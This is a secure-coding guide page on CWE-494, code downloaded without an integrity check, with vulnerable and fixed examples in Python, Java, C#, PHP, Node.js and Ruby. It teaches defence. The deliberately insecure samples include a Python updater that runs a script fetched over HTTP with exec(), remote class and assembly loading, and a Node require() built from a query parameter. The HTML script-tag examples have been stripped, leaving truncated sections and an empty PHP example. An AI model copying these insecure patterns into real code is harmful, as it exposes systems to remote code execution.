> ## Documentation Index > Fetch the complete documentation index at: https://guide.codepure.com/llms.txt > Use this file to discover all available pages before exploring further. # Download of Code Without Integrity Check > Mitigation for failing to verify the integrity of code downloaded from external sources (e.g., CDNs without SRI, insecure auto-updates). ## Overview This vulnerability occurs when an application **downloads or includes code from an external source** (like a CDN, third-party repository, or update server) **without verifying its integrity**. If the external source is compromised, or if an attacker can perform a Man-in-the-Middle (MitM) attack, they can substitute the legitimate code with a malicious version. The application, trusting the source, then executes the malicious code, leading to attacks like Cross-Site Scripting (XSS), data theft, or complete system compromise. 🌐📥➡️😈 ## Business Impact Failure to check code integrity can lead to severe supply chain attacks: * **Client-Side Attacks (XSS):** If a CDN-hosted JavaScript library is compromised, the attacker's script runs on every user's browser, potentially stealing credentials, session cookies, or PII. * **Server-Side Attacks (RCE):** If a server-side auto-update mechanism or remote file include downloads and executes malicious code, the attacker can gain full control of the server. * **Loss of Trust:** Users and customers trust that the application's code is legitimate. A breach originating from a compromised dependency erodes this trust. **CWE ID:** [CWE-494](https://cwe.mitre.org/data/definitions/494.html) **Related CWEs:** CWE-829 (Untrusted Control Sphere), CWE-345 (Data Authenticity) **OWASP Top 10 (2021):** A08:2021 - Software and Data Integrity Failures **Severity:** High to Critical ## Framework-Specific Analysis and Remediation This vulnerability manifests in two primary ways: 1. **Client-Side (Frontend):** Including scripts or stylesheets from CDNs without using **Subresource Integrity (SRI)**. 2. **Server-Side (Backend):** Implementing insecure auto-update features, or dynamically `include`/`require`-ing code from remote URLs (e.g., common in PHP). **Remediation:** * **Client-Side:** Always use the `integrity` attribute (with a SHA hash) in ` ... ``` #### Vulnerable Scenario 2: Insecure Server-Side Update Check A custom admin utility to "check for updates" downloads and runs a script. ```python theme={null} # utils/updater.py import requests import os def check_for_updates(): try: # DANGEROUS: Downloading script over HTTP (vulnerable to MitM). response = requests.get("[http://updates.example-utility.com/latest.py](http://updates.example-utility.com/latest.py)") if response.status_code == 200: script_content = response.text # DANGEROUS: Executing code downloaded without signature/hash validation. exec(script_content) except requests.RequestException as e: print(f"Failed to check for updates: {e}") ``` #### Mitigation and Best Practices * **Templates:** Add the `integrity` and `crossorigin` attributes to all ` ... ``` ```python theme={null} # utils/updater_secure.py (Secure Update Concept) import requests import hashlib # Assume 'verify_signature' function exists using a trusted public key # from cryptography.hazmat.primitives.asymmetric import padding # from cryptography.hazmat.primitives import hashes def check_for_updates_secure(): try: # SECURE: Download over HTTPS package_url = "[https://updates.example-utility.com/latest.pkg](https://updates.example-utility.com/latest.pkg)" manifest_url = "[https://updates.example-utility.com/latest.manifest](https://updates.example-utility.com/latest.manifest)" pkg_response = requests.get(package_url, verify=True) # verify=True is default manifest_response = requests.get(manifest_url, verify=True) pkg_response.raise_for_status() manifest_response.raise_for_status() package_bytes = pkg_response.content manifest = manifest_response.json() # Assume manifest is JSON # SECURE: 1. Verify manifest signature (if manifest is signed) # if not verify_signature(manifest['signature'], manifest['payload'], trusted_pub_key): # raise Exception("Invalid manifest signature!") # SECURE: 2. Verify package hash against manifest expected_hash = manifest['package_hash_sha256'] actual_hash = hashlib.sha256(package_bytes).hexdigest() if actual_hash != expected_hash: raise Exception("Package hash mismatch!") # SECURE: 3. Install/process the verified package (do not use exec!) # (e.g., unpack to specific directory, update DB) # install_package(package_bytes) # Assume this exists and is safe except Exception as e: print(f"Secure update failed: {e}") ``` #### Testing Strategy Scan HTML templates for ` ``` #### Vulnerable Scenario 2: Insecure Remote Class Loading ```java theme={null} // service/PluginLoader.java import java.net.URL; import java.net.URLClassLoader; public Object loadPluginFromUrl(String urlString) throws Exception { // DANGEROUS: URL loads code from an external source. // If 'urlString' is attacker-controlled or served over HTTP (MitM), // malicious code can be loaded and executed. URL url = new URL(urlString); URLClassLoader classLoader = new URLClassLoader(new URL[]{url}); Class pluginClass = classLoader.loadClass("com.example.plugin.MainPlugin"); // RCE occurs upon instantiation or method call Object pluginInstance = pluginClass.getDeclaredConstructor().newInstance(); // ... use pluginInstance ... return pluginInstance; } ``` #### Mitigation and Best Practices * **Client-Side:** Add `integrity` (SHA hash) and `crossorigin` attributes to all ` ``` ```java theme={null} // service/PluginLoader.java (Secure - Local Loading) import java.net.URL; import java.net.URLClassLoader; import java.nio.file.Path; import java.nio.file.Paths; public Object loadPluginFromLocal(String pluginJarName) throws Exception { // SECURE: Validate pluginJarName against an allow-list of known plugins. if (!isAllowedPlugin(pluginJarName)) { // Assume isAllowedPlugin exists throw new SecurityException("Plugin not allowed."); } // SECURE: Load plugin only from a trusted, local directory // after it has been securely downloaded and verified (hash/signature). Path pluginPath = Paths.get("/opt/myapp/plugins/", pluginJarName).normalize(); if (!pluginPath.startsWith("/opt/myapp/plugins/")) { throw new SecurityException("Invalid plugin path."); } URL url = pluginPath.toUri().toURL(); // Ensure parent classloader is restricted if needed URLClassLoader classLoader = new URLClassLoader(new URL[]{url}, ClassLoader.getSystemClassLoader()); Class pluginClass = classLoader.loadClass("com.example.plugin.MainPlugin"); Object pluginInstance = pluginClass.getDeclaredConstructor().newInstance(); // ... use pluginInstance ... return pluginInstance; } // Assume isAllowedPlugin(String) method exists and checks against a list ``` #### Testing Strategy Scan frontend templates (JSP, Thymeleaf, HTML) for external ` ``` #### Vulnerable Scenario 2: Insecure Assembly Loading Loading a plugin DLL from a potentially untrusted source. ```csharp theme={null} // Services/PluginManager.cs using System.Reflection; public void LoadPlugin(string pluginPath) { // DANGEROUS: Loading an assembly from a path that might be // user-controlled or insecurely populated (e.g., downloaded over HTTP). // Attacker provides path to malicious DLL. try { Assembly pluginAssembly = Assembly.LoadFrom(pluginPath); // ... code to find and run plugin ... } catch (Exception ex) { // Handle error } } ``` #### Mitigation and Best Practices * **Client-Side:** Manually add `integrity="..."` and `crossorigin="anonymous"` attributes to ` ``` ```csharp theme={null} // Services/PluginManager.cs (Secure - Concept) using System.Reflection; using System.IO; // Added namespace using System.Security.Cryptography.X509Certificates; // For signature check public void LoadPluginSecure(string pluginPath) { // 1. SECURE: Validate path is within expected plugin directory var secureBasePath = Path.GetFullPath("/opt/myapp/plugins"); // Example secure path var fullPluginPath = Path.GetFullPath(pluginPath); if (!fullPluginPath.StartsWith(secureBasePath)) { throw new SecurityException("Invalid plugin path."); } // 2. SECURE: Verify digital signature (Authenticode) of the DLL // against a trusted publisher certificate. // X509Certificate signer = X509Certificate.CreateFromSignedFile(fullPluginPath); // if (!IsTrustedPublisher(signer)) { // Assume IsTrustedPublisher exists // throw new SecurityException("Plugin signature is not trusted."); // } // 3. SECURE: Verify strong name if applicable // AssemblyName asmName = AssemblyName.GetAssemblyName(fullPluginPath); // byte[] publicKey = asmName.GetPublicKey(); // if (!IsExpectedPublicKey(publicKey)) { throw ... } // 4. Load only if checks pass Assembly pluginAssembly = Assembly.LoadFrom(fullPluginPath); // ... } ``` #### Testing Strategy Scan Razor views (`.cshtml`) for external ` ``` #### Vulnerable Scenario 2: Remote File Inclusion (RFI) ```php theme={null} ``` #### Mitigation and Best Practices * **Client-Side:** Add `integrity` and `crossorigin` attributes to all ` ``` ```ini theme={null} ; php.ini (Secure - RFI Disabled) ; SECURE: Ensure this is Off in production (default). allow_url_include = Off ; allow_url_fopen = On (Often needed, but keep url_include Off) ``` #### Testing Strategy Scan templates for external ` ``` #### Vulnerable Scenario 2: Dynamic `require()` from User Input While `require()` usually loads from local paths, if an attacker can control the path *and* upload files, this can lead to RCE. ```javascript theme={null} // utils/module_loader.js // Assume 'app' is an Express app instance app.get('/load-module', (req, res) => { const moduleName = req.query.module; // e.g., "moduleA" try { // DANGEROUS: If attacker can upload 'shell.js' and request // module=../../uploads/shell // (Requires Path Traversal + File Upload) // Or if moduleName = 'child_process' and code uses it insecurely const customModule = require('./modules/' + moduleName); customModule.run(); // Execute code res.send("Module executed"); } catch (e) { res.status(500).send("Error"); } }); ``` #### Mitigation and Best Practices * **Client-Side:** Add `integrity` and `crossorigin` attributes to all external ` ``` ```javascript theme={null} // utils/module_loader.js (Secure) const ALLOWED_MODULES = { 'moduleA': './modules/moduleA', 'moduleB': './modules/moduleB' }; app.get('/load-module-secure', (req, res) => { const moduleName = req.query.module; // SECURE: Validate against an allow-list. if (moduleName && ALLOWED_MODULES[moduleName]) { try { const customModule = require(ALLOWED_MODULES[moduleName]); customModule.run(); res.send("Module executed"); } catch (e) { res.status(500).send("Module load error"); } } else { res.status(400).send("Invalid module"); } }); ``` #### Testing Strategy Scan templates (EJS, Pug, etc.) for external ` ``` ```ruby theme={null} # app/controllers/scripts_controller.rb (Secure) class ScriptsController < ApplicationController before_action :require_admin # SECURE: Define a strict allow-list of executable scripts ALLOWED_SCRIPTS = { 'daily_report' => 'reports/daily.rb', 'user_export' => 'exports/users.rb' }.freeze def run_script_secure script_key = params[:script_key] # e.g., "daily_report" # SECURE: Validate input against the allow-list if script_key.present? && ALLOWED_SCRIPTS.key?(script_key) script_path = Rails.root.join('lib', 'tasks', ALLOWED_SCRIPTS[script_key]) # Path is now trusted as it comes from the allow-list if File.exist?(script_path) # Use `load` or preferably run via a safer mechanism # (e.g., dedicated Rake task, background job) # load script_path MySecureScriptRunner.perform_async(script_path.to_s) # Example: Sidekiq render plain: "Script execution queued" else render plain: "Script file missing", status: :internal_server_error end else render plain: "Invalid script", status: :bad_request end end # Assume MySecureScriptRunner is a Sidekiq/background job end ``` #### Testing Strategy Scan ERB/Slim/Haml templates for external `